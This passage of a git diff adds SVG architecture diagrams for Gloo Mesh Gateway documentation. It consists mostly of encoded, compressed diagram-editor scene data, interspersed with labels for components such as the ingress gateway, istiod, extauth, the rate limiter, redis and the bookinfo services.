1ySCJ4ClcdTAwMTKssaSri+JcdTAwMTZcdTAwMDX+R2SWjGViXGYrizqqplx1MDAwZa6H3lxcK8d9X2KPiHl71pXkXHUwMDEyMEpN/Nh/ppX34OuA9idcdTAwMDZdYpl4h1wixKjSRY9cdTAwMWZcdTAwMDZsaJmgnlZUgO1F3G27nZqyczjNWFGGhWllZq8sm2eYcJPrQsBcdTAwMDTVJiNcdTAwMTKtiDwuJNh8+oDThIMs8XR8UFx1MDAxOSaiI1xc0K/3w6fB43uElZyEXHUwMDBislxiiDsstdCIXHUwMDAy3HFqlGdsaMBcdTAwMWZCgm1DNIi87Vx1MDAwNN5cdTAwMDZ94mf4XHUwMDEyM5NcdTAwMWWOgeVcdTAwMWPknTLN7jiH82GcWVx1MDAxOFx1MDAxZHdcdTAwMTNcdTAwMWL3XHUwMDEz//PdpbO+P3mn3EfFaDDZXHQgX//pdPcjds2KtSd+P3q7LVx1MDAxNTIlls2ioFx1MDAwYjyhqKXNSFx1MDAwMjBcdTAwMDNcdTAwMThfdGWBvIM3TZNWwjAzXHUwMDFkk1x1MDAwZSPvXHUwMDE4M41yuImxmp5SXHUwMDBl6dbmgIDpxbHk8Pzts+s/e/vBXHUwMDE3WFxisf9V8o4l0kPBOvlpd9iOJ1x1MDAxMoPM9DJ061x1MDAwMqZMZTZcYlx1MDAxNVx1MDAwMmaimYfoPIVCgEVFTDUkRYrjLTuyb9ImXHUwMDFlabDmjIhcdTAwMDXTyzSMdGibalx1MDAxYWVzTk0nJcU1WVx1MDAxZI1xTFwiL+R66s21ct43XHUwMDE0eZ6V+6Bb3KSeXHUwMDE59Fx1MDAwMbByg6guXHUwMDFl3j5ePbw0bzrTdP/t7lx0x1x1MDAwNpW7YFx1MDAxNykrXHUwMDEw7Vx1MDAxNjajPuXsdU7l59+bXHUwMDExXHUwMDE1wvTExZQv2Iz7bFXhZ1x1MDAwNia33fpcdTAwMTeqY1xmK4zWlul/T2/2l1x1MDAwYtK5i/Vl/rzSf1xmR8cx2s21f9jP9WlcdTAwMDTmXHUwMDBldFx1MDAwZrS9J7Im4oKaXHUwMDBmoFTSnUZ+XHUwMDFjrtx3c29cdTAwMTeZyVx1MDAxZZ7ZPbtcclxyJ7VSN3nXTiRDr4WXLEmczkJAya6bgel8wznZXHUwMDE1XHUwMDAx+00zMLV270PCzNRcdTAwMWJONrBrvLc5oGNXYJeRl5JcdTAwMDf1y/al5Pcxo1x1MDAxZTNKqbTNR/qLR2Daxo+c38X+7Vxmq4OxvVx1MDAwZvhcdTAwMTeMqV9cdTAwMDNrPVx1MDAwNqbAis9+LXhcdTAwMDeI7lx1MDAxZX9cIlxijFx1MDAwMqY3qFx1MDAwMp/UXHUwMDFmqtVStFOMtEbPtFnB9fhjwoV/XHUwMDAzXHUwMDAy0bWSJvPStESZvZIl7jVDXHUwMDA3XHUwMDE058L0VMJcdTAwMTjtlnq5X4hu8vhcdTAwMTWnIFxcXHUwMDAyidFcdTAwMTlVV2KcIKNypDwtVa7bxUrNXHUwMDA16Jww+uZ0XHUwMDBmtL0nsocjK2pvl/Xs03uuWezHcrhwWSicq31A/8HNpVxiczru3vUzXHUwMDEzNVx1MDAxOakqoqcjXHUwMDE2ULLroL/zXHLnZFfk9jdBf5PQ7Vx1MDAwNlx1MDAxZExcdTAwMWWi3Fx1MDAwNPl773JAkb/+mZviilx1MDAxZFx1MDAwNLbEvrDDPpA/M01CXHUwMDA15t+HXHUwMDE3TsjfhvzXoOU9IH+PeKRwzVwiXHUwMDA2O1bDIdmgu4e3Xlx1MDAwYmg4Upoxblx1MDAwNClT6C7ZitWuXHUwMDAxkZu0RKlcdDVj1F15d6f50NrCRJl2XG7mlVwih+6hIGBcdTAwMDTh8J5cdTAwMTlzwjWmq1xyPmB5SHOBTlx1MDAwMUnPgKRJwFBcdTAwMDLB02SmK4KWjlx0XHUwMDE42NRaXGKpYOmKr86f91x1MDAxNY30ZuyzxWikRKbwSFx1MDAxMlx1MDAwMtvlXHUwMDE4XCLFXHUwMDE2kVhcdTAwMTDEldlQSveScPadXHUwMDAzol1PvblCq1x1MDAwN35O71x1MDAxZvvPzYWexK7FRKZgQG00XCLaXHUwMDFidFx1MDAwN1PowSe4qZyjWHNcIileSrXFSClcdTAwMGLPmiwoaVpYXHUwMDFjKOtcZsFcdTAwMDGYhVx1MDAxN6VcdTAwMDQhgZ1cbtCxXHUwMDA1YFx1MDAwNVx1MDAxONWMgtXCZKIviz2KTKuD9e3z/0yp51vEmNZcdTAwMTBam1x1MDAwMbGYSDM+ykHCwGdcdTAwMTBcdTAwMDFcdTAwMDVCjbPe7Ol2Yi/yXHUwMDE2v5q0r+nF+U1cIsLapfbF6OPceU2wO9J0++FcdTAwMDJraZr0rixKWkxypkCzUWz86sc9M9b9yJsrtHra9ybzXHUwMDE0ci9cdTAwMTczaadYblAs5lx1MDAxObpcZqbIU1x1MDAxYWuLamJyfUz65VKeLVx1MDAxY0SLXCKTXHUwMDA2JEBcdTAwMTVpj4GRO+E8Zpn4jzTzlEynNqfKXHUwMDAyy+TAIYIlZaDlOV8tXHUwMDE3U5ibqWn4Ly0t8IyTLIIqjExcdTAwMTYhUZxQRVx1MDAxOUW25kTzxDPJXHUwMDExkkKaPitcdTAwMDKzLWXeiMSKXHUwMDE38cjk9qP6Mqm1U5lQLD92g3og7+BcdEpqilx1MDAxZVx1MDAwNCWrybbCYqB2QVx1MDAxNCj4XHSfPfLEM9djP3t39cTvXHUwMDBm6CHXXHUwMDA2+KaPXHUwMDEzMt00/Fx1MDAwMz3PxIpgSj3TodXSpnqQXHUwMDE500HOt+OXdYstOP2YazPJU5JcdTAwMDNJvX1Yt8RcdTAwMWNcdTAwMTJcdTAwMGXnZF3V+F8u9UDoaaQ5ZcqMYNXMQeRhS1xuTYA5TEWP3FLgbVDvgM38T2Q8LFx1MDAxY1x1MDAxMURW82y1XHUwMDA1x8LMaDHlpFx1MDAxYeHV+q6TZXtmXHUwMDEzeJ6BfM1cXCuqMMZcZnA0XHUwMDEy/oWe9yTkoPrjQZ6ZroTAXHTmVS22XHUwMDA2XHUwMDAw1rBAXHUwMDE1YcLMiGIhPFx1MDAwNsP5aNrrJvRA5FrEdjGnlu5EWNp+2apcdTAwMWR+YT1YvuCmKOdgUm+X0H453acvuetopla51uLu4SnBXHUwMDEyqT1cdTAwMDRcdTAwMWO959F70l35yt85sU5cdTAwMTCPXHUwMDAxPCBcdTAwMTGJ3KSR/ORCR1JXXHLNQ7SHy+dtnOx1t1x1MDAwMiDLRTVcdTAwMDfkRIE9XHUwMDEy36lcdTAwMTI+OdFHSfd/laqsVCmtcuJ2STWz3lVcdTAwMThcdTAwMWawumdcdTAwMTfGu2ok090nWlx1MDAxZFVK1Vxc/jVcdTAwMTeKPIZcdTAwMWGnnJp95dRcdTAwMWNoe09kj4jsuvRcZudcdTAwMWJ+n1wickvPXHUwMDEw1LXVrkTGRkDYv+fPe5eDXG5cdTAwMDfB8vVQQoBcdTAwMTWJLyW0nLV5qLxsLk3lt147qOFvSM9cdTAwMDAjdFx1MDAwMIs++7dTg3VMitOvzczwRlxcy5lcdTAwMTm/XHUwMDE3+3upO1x1MDAwMEfpyrRcXMA55WKDnKqH2zv0Nia10ZC+1Fg5xm5Do9vA40bqzrJMkcDiRuOlkkKhXHUwMDAzNv7ZXHUwMDA1OMZcdTAwMWVe767yxexUkWxcZn9cZlvk/PbpXHUwMDA0XHUwMDFj91x1MDAwNVx1MDAxY1x1MDAwZrS9XHUwMDA3XCKLnzplUX4qlJrVbFx1MDAxOJ1H0lx1MDAxN2hy+9ftwl9Odlx1MDAxZM51vmHwcK5ErlnIxrtMpSTKv6/Fe5tcdTAwMDNcdTAwMGJ0sfLSmipYQFdcYqY00Vx1MDAwN4xjXHUwMDFmXHUwMDBmzq1cdTAwMTaHo0l1OPomoLtcdTAwMDZcIi5cdTAwMDPdz9XujnTto0SWzVPOXHUwMDE1XHUwMDE3dt/3Oq5cdTAwMWS+XFxFct3wqJOqxz4keipFxu1x4LlWMWpxJSnC3FxmPlqOVmhLcUJM7jEznUw9Olx1MDAxOX97uMK0WpZUXHUwMDA0XHUwMDE0+1x1MDAxZSpacSm7XHUwMDE5mb/qtFxuzVQhxIcvr6Bp9kB3mH3Kylx1MDAxOGmf11wi7DpcdTAwMTMqf7x9NPNHXHUwMDE4XHUwMDA1kcp1wjTBZpAsXHUwMDE2/lk8nOj3zl/V22tnXFzWjY/Ic/a88Fx1MDAxZXBjVlx0bs36f1x1MDAwYmReXHUwMDE3y4OoIH5cdTAwMTncjzVLiCpVnZJtt7Jm4emAsY11UOOPV9etyuT6vjItyEmzzHnhfVx1MDAxOD1Zs/uyZlx1MDAwZrS9J7InsuusTudcdTAwMWJ+n4JztTq1a4TfjMLRRIlcclJcZr23ObD4VVwiXHUwMDBm9aaQRf2pt4OYncQhp8ZcZuRg/FT+aiy591HxXHJ2z8nYtMVcdTAwMDU3MzZHXduXX7I01+C3XHUwMDE1S/PX+rZHn1x1MDAwMF/cOFx1MDAxNFx1MDAxM8VcYjXDWXxz6F3rKff6npt2XHUwMDBi7cbt28fL02sj0Vx1MDAwYjz8XHUwMDE0lnDzXG5xxIJcdTAwMGI/MSZambKfYHa2icRGXHUwMDE1+dF+K99kVL7w+IKzXHUwMDFmXHUwMDE3p2DK3uDngbb3RPZE9kBk16Fa51x1MDAxYlx1MDAwNlx1MDAwZtXax1Aso1opNSbUfyTFe5ODi2mxh84kZFx1MDAxMdN+N6RcdTAwMDVTQyAzRORcdTAwMDRp4enD3c/ajdfGyKWPy9a4dk1cdTAwMTBlXHI2XFyGtlx1MDAwYuvcXHUwMDFl30rPzqtcdTAwMTgjzDZI8It10q+XmXGzk+2/TSevkfR9M91cdTAwMGY8vmXu9iejXHUwMDAxxrdUXHUwMDEzU5VKXHUwMDBmV9O2XHUwMDBivM22o+Ob89f7TjiVa1x1MDAwZVx1MDAxMX7Gxdb1XHTe7lx1MDAwYt5cdTAwMWVoe09kT2SPi+w61Ox8w1x1MDAwMKJm4Vx1MDAxZeckyFxmetX+45zeu1x1MDAxY1jYLLSHKuYkYK5ghVx1MDAxOGL0XHUwMDFia7xcdTAwMDKEmquVxvBL4fJcdTAwMWGouVx1MDAwMpdnXHUwMDBi3IoxhXRlTCooXHUwMDEyXGIx/4zZXHUwMDFhTp5f47WbePtqWH5+SbyP4mK//b5cdTAwMGUxWVx1MDAxN1Cw5KZcdTAwMTBcdTAwMWZkkKBLzW9cdTAwMDSxOMNEXG5FTVx1MDAxM8HdMozcXHUwMDEwMqFcdTAwMGXtveRKd1x1MDAxYqGFpKYz2cF4cl2bXHUwMDA3L91cdTAwMTeslFx1MDAxY0eOV1x1MDAwYr/14Phau9tccr1Wh/VQsVLpdob/djpF+Cecq6qjXHUwMDFjXHUwMDEw2+ZcdTAwMWV6hINcdTAwMTa+3DLHey3QU1x1MDAwZbhP2bZcdTAwMDdjV7pgIWZ6UNBcctJccj1PQ0BFXHUwMDAxxqCFKbzC/1x1MDAwNOKLXHUwMDFkYYhcdTAwMTlhosyQZdOwR9inuuxTXHUwMDE2wM0tTlx1MDAwMFx1MDAwMVBCOLH1optLXHUwMDA2LSzEQCppTVx1MDAxOTcrWVx1MDAxNlx1MDAxNECDXHUwMDBiTeThXFxeQe5cdTAwMDfjrYXOllx1MDAwNlx1MDAxZFLCXHUwMDE0vCoj47G09Zz71YCFW4JqbXqKcfhcdTAwMWNXW1x1MDAwZdj2Tr9dXFxcdTAwMTSD/cFm/DNcdTAwMDV9hFx1MDAxZGYvUktcdTAwMTBuJmxcdTAwMWFcdTAwMGZcdOJcdTAwMGVDv4+qXHUwMDA3luuRN9fKYZ+T+8f+c3OBR7FrIaEgptegUFx1MDAxYsi74qNO4XYj88JS6YtcdTAwMDdBU7d0K+fgl0JcdTAwMWZcIi0kKOBcbmHGly9cIlx1MDAxZjBSLGBcdTAwMGXDrFx1MDAxY2xcdTAwMTZcdTAwMGZPvp+xLm7ijlOLaFxuzMWB+Si3XHUwMDA1T+Z9TrGwmOkwbTpcdTAwMTJzQVx1MDAxZMRcdTAwMWRHRFx0pv7s7s7LXGa6XuhEc6r/eDOuVd7jsU4ujOQ1fZBOQlx1MDAwN8GTNq0uJTI9UFx1MDAxOeKrQocoS2t4VCCVQP0htZ9cdTAwMWXL3yd0XFxcdTAwMGbe7N2VM7eh1Nm2rlx1MDAwM85cZlx1MDAxNaazvP+Zr6Np5HFUmY5K/PYpcnfbrNJG5THYkkdcdOHVdUCByJeMcUVcdTAwMTjIe+3Reu9cdTAwMWJcdTAwMDZKKWamc1x1MDAxM1x1MDAxYcy0m0TmRjxcdTAwMTBcdTAwMWOj8uq5XHUwMDE0XHUwMDBmhdJcdDJ4dDbCTnGJzelcdTAwMWVoe4+L7KGms1x1MDAxZdcu/OVk11x1MDAwNSacbzgnu1wiXGK/azgrcy+NNiZcdTAwMTbFXHUwMDFiXGZ58d7lgFx1MDAwNiZAXHUwMDE5e/ShY1xibLO9KeO95KgjXHUwMDA25rik6pTQc/aj01x1MDAxZIVcdTAwMWGdmSfwS1x1MDAwM1x1MDAxNGtA57K70r7M7XGzkK6zSTCXXFwqzqT/5LtcdTAwMTS/49F4iPVSN/3HxChauHp+cEu+XHUwMDBiSDrPXGY3I9dcdTAwMTiiQlx1MDAxNsdKI1wiNGaMuVx1MDAxYux+snn2XGabhXGccnHAUSS7wGZaKmSer6O1aa9Zy4nrKFx1MDAxZj+lartr3Vx1MDAwM5E9XHUwMDE0XHUwMDFhn+ZSw2Eve59sdVx1MDAxMipbv+holFx1MDAxYe2BLlx1MDAxOelcdTAwMTBo0kw6X+TZ+vvHU3mMXFzAx0Z0j+upnchcdTAwMWVcdTAwMWTZ1uQq85FCKpctPLbD7YvGQ75xvtPBXVx1MDAwN5udv0jwYLNQrqpYSYRcdTAwMThcdTAwMTPMvyb2fnpBhs3uulgrXHUwMDBi7UtcdTAwMTfvXHUwMDA1NZu4JkaUnzpcbplmlF+PmNfAzdV+mT7QsmvlNXZN6sGScjivfIN0O/3cLqGXSKHw8vpcXFx1MDAxY0xvYs1wMuhcdTAwMGVmRYXFOSXCXGZ1IHhphlx1MDAxZteWUFxmWEJcdTAwMDPfYkmkK3fuXHUwMDE0yWdcdTAwMGXQeDWrx1x1MDAwNNqoNuWcXHUwMDA348xd0npCqYjMtFx1MDAxMMlcdTAwMGYr4VYpjqJveFx1MDAxYz7StJ76aNQrNTqBy+ZxWJcn33sk8dhaZC1zvtZcdTAwMWPDfiP/itn72Vx1MDAwN5TzhbS0XHSjIVx1MDAwNtaymLPgLIeHzmLamDCmTfRbXHUwMDFliPORtpggWlx1MDAxMDqbzGRcdTAwMTMwn4JAKUubiZLEZFx1MDAxZHK9msTDXHUwMDExPC16SDdXXHUwMDEwgtpuoWtvpXO2lMQjMEHEjPHCJjpt+9RqXHUwMDBlj3FcdTAwMWZumcMzqsdfJ+fviWl0Ulx1MDAxODSHrfD46lx1MDAxYbmsSVx1MDAxMIDIUnBcdTAwMDZKhpP5UN3PNVx1MDAxMWRcdTAwMTFthqyBhpJcXEi+sqajXG6nu1x1MDAxZnlzrVx1MDAxY/Y5vX/sPzdcdTAwMTZ4jLonLVJcckCHolxyklx1MDAxNu/H4Zfn7Pjl8VrddV9zo0QmS906WFx1MDAwNMZcdTAwMTDRTGtLXHUwMDEzXHUwMDEwdWz2umiIYMo//fdgmNlcdTAwMDdcdTAwMWFsUVjg2lx1MDAxMFxcWtJ2KeIwx1x1MDAwZc+X/dnCXHUwMDAyYa2kOmAsPVxiXCLOPW9nkdhcdTAwMTGxu+vjNlx1MDAxN8iCXHLZ282OYe6t/qVcdTAwMDKMzyX3nyfzTC9cdTAwMTKRcL7Larc8m27ddXjk9j7wzI05t5TgSGpqXlx1MDAxN1xyXHUwMDE5xYhcdTAwMDVcdTAwMTJcdTAwMGVhqtBsLLU7mvGRKOPa7N9cdTAwMDG92MOAv+qFXHUwMDE0k4TLP1xyrmzlX1x1MDAxOGNHu8Jmhn6NXVx1MDAwMevYiu+4+2xYxVx1MDAxNZKISv9B8WarXHUwMDEzq5Grh0FqUH8qNy9DbZz4XGI831x1MDAxMcksoZXJw4ZXJFb4zq5UPcYk7sB3xKnP8Fxu32FJXHUwMDE1g1WIP2z463aMR1x1MDAwMsJ4ZFvGczffqZZgSWziV8fvyXa0NSi9V3qDZDdcdTAwMWa5eWbFZNA5z1x1MDAxNOQhS1GXnt+G9fz1lzm8ysPwuFxi41R8X9755z1cdTAwMWM8dy+83ynf8l64NUbRWD+aT97EcsHy3P09XHUwMDFhlXr45agpXdhAo3Ki+GX+9VpcdTAwMTbfSbZ/U+2PXHUwMDEz0Urw+Vx1MDAxYTNtXHTpYqdcdTAwMWG+llpcYlNpaNxcInppYV+qUlx1MDAwNSNcXJvW5CeVevwqVbgmeGIpMVZYXHUwMDEz/yr1qdKPd1x1MDAxOL3vXV+m5TnisvWSRsfBemArw/Eh5nUxxVNh9lx1MDAxNaznUMi6ynqcmUJ7fcAo9Vx1MDAxMXFcdTAwMWVcclxi59FcdTAwMWRyNjVFruyHXHUwMDEx1VxiceXfh3NcdTAwMWKuXHUwMDE1i2l6cTdcdTAwMTJcdTAwMTE2vVx1MDAxZFxcf9zGXHUwMDAzXmWpQMBY8+xqsVhUjonmXHUwMDE2k8B2gHaxXHUwMDE0ZDc8u+ekTVx1MDAwNlx1MDAwZshU5Vx1MDAwNjNps/hWeFx1MDAxONSGVzozfm5HK91+k3Rd6lCCkF15bLVOXHUwMDA32t7jXCJ7qFqn49qFXHUwMDEz2UOQXZdcdTAwMGLqfMM52Vx1MDAxNfn6TbmgXHUwMDE4XHUwMDExV1x1MDAxZK8kJYph4Vx1MDAxZmF7b3NAXHUwMDExtlKEeSh5ioml96Xk91NDZVxc+IKhU3u3WVi1UylcdTAwMGUqZ3fdijPiPlBK6Fx1MDAxYTS7jMNcdTAwMTfWuT1cIpfcvSkyZZRrTpD/psiF3H36/rL+/lx1MDAxNjvniYnMppuZh5ttXHUwMDEw+Vx1MDAxN1ZRwVx0s1x1MDAwZmtcXO57orCFNeVgmFxigZhyXHUwMDBmqn59XHUwMDE5ldSacYFcdTAwMDNcbshfm5VBro6rsVx1MDAwMSpmI73r93Lm/WN3xXsgsqcqqmN8aieyJ7LrgLPzXHKDXHUwMDA3nKV2dU1zavxiaoNgr/cuXHUwMDA3XHUwMDE3N1x1MDAxMy9VrJUl9qWK9zJMRHBcIsghO7BcdTAwMWVcdTAwMGZsXHUwMDA2XHUwMDE0ejZpjOpnV51x13kk+6GA81x1MDAxYdC5XGacl1a6PXRW3DXbXHUwMDE4jDut9CbJxr278DT8eJHp5/p98lx1MDAxYWNDkuhmXHUwMDAy78tcdTAwMTbWL1x1MDAxYte8skV2ZUJbXHUwMDEyzlwiZYxKJuVuaVH7XHUwMDFll2fsXdNgMpDQmeJW7zxay6WzoXG2eNlcdTAwMTg+p9FpnsjefNlcdTAwMDfa3lx1MDAwM5F90mlccsr/odnKJ1x1MDAwNjU1uXzrT5p72IVkXHUwMDAzhV5lPffYfLy9XHUwMDFmi3ZIVOvtPdB9QGVZK6LBXHJ+XHUwMDFhPVx1MDAxNiOXKIL7nT3QvWe3oeGkVuom79qJZOi18JIliT3Q/WiEea5cdTAwMTLTRZLJKDaMdVx1MDAwYumHy7/ulP3lZNd2YnC84Zzsikb4rlx1MDAwNmbIPcCukWmqrLX/XHUwMDAwu/c2XHUwMDA314rAXrBESYv4giVfNFpFmlx1MDAwNvOanHzvZz9cIu1u9yxZXHUwMDFk1r/c+b5cdTAwMDZ+L9tcdTAwMTCLXHUwMDBi9eRUb1x1MDAxM0K4et+l1sRcdTAwMTRJ+ne+P1x1MDAxNIvR1sPjXbjVKCQ+8lx1MDAxNTmYJtxcdTAwMTJBj8OE4FxcWZRcbjN6xkyF4lx1MDAxZfXZu6R3bzeRXHUwMDEwc1MyLr6vg4qXgnx7ZoMyfVx1MDAxM8/pXHUwMDA0L1xmrvNj9fRQ2V3vniyIg27vcZE9VDbMce3CX052XHUwMDFkcHa+YVx1MDAwMIGze9aKxkhxpZX/klxm710+TtzMJbeUL138RbiZSipcdNf45H0/+1x1MDAxMVx1MDAxYo5cdTAwMWHdL1x1MDAwN81rXHUwMDAw5zJoni9yK1x1MDAwZVXatY1cdTAwMTlYc4ovVJuv49B+j7xcdTAwMTVHN7VcdTAwMWFl753Xh5dmLZ9NXHUwMDA1n0NcdTAwMTmyyCeDyuXkcUp8xsd2zSuztYv7ZFC6WjhFXHUwMDA0UkjY5yZcdTAwMDVcdFwiN5qPz/FcdTAwMGKaXHUwMDFj11x1MDAwYvH4MN3IVSdcdTAwMWY+/Z9cdTAwMDdQWo7877uVWaJaq3acmd9cdTAwMTbi+JpcdTAwMDKRX2vZTlx1MDAwYkv3bDTFXHUwMDE4aFx1MDAxZbqB++riLta9XHUwMDFmJvP0OTZ4KEyS15VK5yHoTK4lsDFFnFFMJLdHqGYty7T12YbA+I3ITlE1TyaXXHUwMDBlVc+rTC5hlSCLvjFcdTAwMDbuxeO1WjXe7tbUeyf9UIhHUIhccoqFI+XxcLux8Jy+k8d/rcWTx93bXHUwMDEyMuHeuVx1MDAxZkkz7ZBz/5Fz72dcdTAwMWNIt5eWWFnIaHDCkGR4XHUwMDExajNpSa2FRphcIkK0PlDgnJi2TUJqjjEmWFx0h1l70jJcco2BuZXGIJb0KvczJFx1MDAxMD1kXHUwMDFm/yC07HLrXHUwMDAw6K1fzuxcdTAwMDP1MFx1MDAwNyykuTRAlSAubEMtf4/xZFx1MDAxNlx1MDAxMURQ07JSgcWpVyfq/Vx1MDAxOd3CQu4nz1xcK2duTu9cdTAwMWb7zy397e7zfYBcdTAwMTG1XHUwMDAy29O/mV/OReLssYMvp+eT6Vx1MDAxNX+/yMtQOuCSXHUwMDA3XHUwMDBibdH5tdxcdTAwMWVQMFx1MDAwYpteKlxmXHUwMDA0XHUwMDEwx2w5XHL/W+tPqTJz11kwU3au81x1MDAxM31dIFx1MDAxZpWHUHFcdTAwMTB/XHUwMDFmXGKUyyedkcbJ4b453Vx1MDAwM23viexcdTAwMDH9+IdK2Dmu3f3Lya6LXHUwMDBmON9wTnZFbn9bWStzXHJcdTAwMTCYbFx1MDAxMkrsfb3XIVx1MDAwN+9tXHUwMDBlqmdcdTAwMDK22lx1MDAwYjsobIl9YYd9XHUwMDA0XGJcdTAwMThAbXXQlunHXHUwMDEzILipTsvtbrH1pfGBNfh42anwucatXHUwMDE4VCnX7sCYajN3x1x1MDAxZbNaXHUwMDFiwcuV+5NcdTAwMTd880xeUlx1MDAxMXbdKsdKmaugM6jiXFxbkpn/XHUwMDEwxolYdFx1MDAxZFx1MDAwMkdalFGMXHUwMDA1mKFaUnf+XHUwMDA0k4xcdTAwMTW9h1x1MDAxZHjyJ3FcdTAwMWF1suo6XHUwMDA0i0toiexcdTAwMWXdP45BN1x1MDAxZEZyNulcdTAwMGVa7rNIvtzRt7osT+Z09flcdTAwMTHM3dmTa1xyykNp/5Z3uJIuXGZeXHUwMDEy/Vx1MDAxZYsnesnktEWHz8KFPVx1MDAwM2J5KyGwpZFcdTAwMTlWqyiiarF3N0FcYphcdTAwMTMwXHUwMDA0XGIpqTTaiTldfX6Cm75voKm1olx1MDAxMjPt0P9cdTAwMTAjalx1MDAxMfiE4pLCnThSy2yLXHUwMDA1XHUwMDAxXHIv/7BuiL679Ls5XHUwMDAz5ViJ6XP9qaszmVx1MDAwMk4gXulG0zbEa3NcdTAwMDaCOlx1MDAxMlx1MDAxOGupiMlBnlx1MDAwZqU5+/RcdTAwMDViSynYYlx1MDAwMkBKKONcYv71ibkv8Jg8fq7Hzlxcq1x1MDAwN25O7lx1MDAxZvvPjWVcdTAwMGX1mFx1MDAwNlwiiaAm1OBf5HhPf9xcYlx1MDAxMXxdc1x1MDAwYs007L1rxlx1MDAwMOZ2xI7kTtO83aeBIGXPK5JcdTAwMGWtXHUwMDFmObYvU/HVTpBcdTAwMTIjjCX6s6WOm2wphd+b4WhHXHJT7bvMoHQrwv1W0Um2mPFHXHUwMDFjIcZcdTAwMDVsXHUwMDE1kUwjRVeHXHJpizCjhIgy/UNcdTAwMTT5PX/HJdLgtirvXHUwMDE5hlx1MDAwYlx1MDAxMo8ppk3xXHTiJnuMqZUlSYtcdTAwMGKtMZUm3VuCXHUwMDBlPGqBXHUwMDE3wmzhXHUwMDBmiMS2flDwupZcdTAwMDDRSzxD7fTA9rZs1MDKXUuQambZVkDlwkSmXHUwMDE1/ltLz5WpzVx1MDAwNVaG2/f1JdJdnTBcdTAwMTi7R45cdTAwMTWcZ1CqXHUwMDFiRI7Lsft0WmSvLrrhq6ZcdTAwMTT1y1x1MDAwNmPdwFx1MDAxYnlgw9lzQFx1MDAxNmPHXHUwMDAycVx1MDAwYtC0yYWDI1x1MDAwNIbgLlx1MDAxMt3bXHTjz8jDSDAhQFx1MDAwZf1xXHRcIv/xonuVyJV64emwX4xnW1xy0W/cjFM+i0pXvnJATFOrO6hcdTAwMDXKKJ0taDtoSKR7XHUwMDAzfkZcdMhXgf07i7xcdTAwMWZ2UKEhXHUwMDAwXHUwMDA0QH+CXHUwMDEwMy1R8MXBXHUwMDFhXHUwMDAyJPje5IgrMuScWYBcdTAwMDakQMqkRThklSpcdTAwMGIzQZBcdTAwMDKjWFxuwFx1MDAwNXOZ83vQlFx1MDAxNCZf4lx1MDAxYodufCcwbISmj83nXFz+edgqptqj83C3W3h1gmDYolxmjE0+XHUwMDFi92xMS2b70K9cdTAwMTGUymLmXHJhWlxyYaXQqtHpXHUwMDBiXHUwMDE2emvVJbAqsZnJiDRcdTAwMDdjl1K0OqxcdTAwMTOb6S/zkFx1MDAwM17NijkqYOh24mdvrlx1MDAxY3Y32PTPr1x1MDAxYvwo9nr3Izhzn4/jx7hRnVxcuOdi/PNr54xQqppv9T//+8///n/tSNiTIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientKeycloakhttpbin workspacehttpbin.org \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg new file mode 100644 index 0000000000..3cf948c436 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcySbPuff9cblfv2486OVx1MDAwZvuOQUFcdTAwMTFcdTAwMTXFXHUwMDAxTp/lYpJ5Rlx1MDAxMfba//1E8lx1MDAwZVx1MDAxNNRAMUnRr3Q3tlx1MDAwMllJVsZcdTAwMTNPRMbwP3+dnf09nvarf//32d/Vz3Kx3ahcZouTv/9j/v5RXHUwMDFkjlx1MDAxYb0uvETmv49678Py/J318bg/+u//83+K/b61+JRV7nV+fLLarnaq3fFcYt77f+H3s7P/mT/brjWslsfFbq1dnX9g/tLiclKJ1b/e9LrzS1PJMZKa6N9vaIxcdTAwMTJwuXG1XHUwMDAyr75cdTAwMTXbo+riXHUwMDE186e/se7gfFx1MDAxM3fa9++DcmN438qJXHUwMDExX1xc9a3Rbj+Mp+1cdTAwMWbfq1iuv1x1MDAwZm1zXHUwMDFhjYe9VvW5UVx1MDAxOdfhdbzy99+fXHUwMDFi9WBcdTAwMDVcdTAwMTafXHUwMDFh9t5r9W51NFr6TK9fLDfGU/M3hH7/9cdcIvz32eIvn/CbkohbmMM3pcI8L0Yxn2dcdTAwMDRcdTAwMGKLa0QpJoIoyVbmXHUwMDE177V7QzOv/0JKvvHSYmalYrlVg+l1K4v3YFJSSizeM/n5bVx0Ulx1MDAxNrE92OKm1KuNWn1s3kOEpe1cdTAwMGbbVKrzW1x1MDAwMqMwhSldfNhcXL9/WVlsjvlfyctHmzfV2+OE5DJvqWFcdTAwMTfzj+LvSZnxSqpffW28Z2Jpen91las1ss/675+v/7/VO1MvXHUwMDBl+z/vwN8j84ttXHLM1z9f3aH2XWrbPYXXl4Ggg9KsPGndk7vheXxUf7RNy7ali8Nhb/L371f+9z9+4348Nu5yz61G9UolXHUwMDEybzPUfio+omDjOr7ye79S/LH/sWBKXHUwMDExhSVsnYWEtFx1MDAxYt1cdTAwMTa82H1vt/+yzWxDmZTaSyYxQ4ggxiRcdTAwMGUslNNK6vzt5TXxVuh9Zq+uXHUwMDFi1bjs9UIvlJpSXHUwMDBiUS1cdTAwMTTh8CzVslBixS2FXHTnlClYfukplExzxKW/UFx1MDAxMqJKVVx1MDAxN6HEhKAliVMuQqlcdTAwMWNSyDTDmnOijieF8y+4pVx1MDAxNFaG59lKYdhsd89z8dxbhUdeVXRcdTAwMGZSyGnvblx1MDAxNHnRtPn2UfpcdTAwMThGevl64iHMUqiQp2bEXHUwMDFjLihcdTAwMDSmMrBcdTAwMTTWMo2XWH9cItMvg5vLx8fSO7nud8IuhZpQZpNCRVZVo1xu